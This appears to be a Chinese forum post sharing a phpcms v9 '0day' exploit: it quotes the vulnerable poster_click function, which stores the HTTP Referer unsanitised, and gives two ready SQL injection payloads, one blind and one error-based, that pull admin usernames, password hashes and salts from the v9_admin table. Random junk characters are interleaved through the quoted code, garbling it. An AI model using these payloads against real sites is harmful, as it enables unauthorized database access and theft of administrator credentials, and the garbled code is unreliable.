phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

5 e& |. n- S" J+ g  k问题函数\phpcms\modules\poster\index.php
/ _+ W5 L0 t. E+ Q7 u* q# t
/ D$ z- O/ G9 V5 [  n+ Rpublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
. a' G& A! F  L$r = $this->db->get_one(array('id'=>$id));
$ \) S# }& k/ _  s9 Jif (!is_array($r) && empty($r)) return false;
$ p* d9 N2 }6 Q" F$ d$ip_area = pc_base::load_sys_class('ip_area');
; W* E/ B& q5 {, L$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
) M# Z1 W- w1 }8 {0 n. J+ Wif($id) {
. @2 A) r8 ]/ z9 ]- i6 @$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
% V* S' v6 l* f3 E5 B}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
) q- v5 V% H, B1 W- K$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
* |4 S; {# ?+ d6 a7 Y} else {
4 P! _9 b3 z# Y: [$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
6 f  F3 d* K: L; U}
( j7 C  k& {2 T8 C8 fheader('Location: '.$url);
}

+ B# e1 q: X! Z- _3 n

* s; n2 ?+ f* x; p1 r利用方式：

1、可以采用盲注入的手法：
/ Y1 P% x- Y3 I
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
/ h! V. b, H7 J% g! U! G& h, O2 k
5 {% B5 d1 O  M- I- m% R2、代码是花开写的，随手附上了：
( ~# i/ B6 K% D/ Q
4 B0 I5 D! |9 a. K3 A9 w+ W1 P6 w- h1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
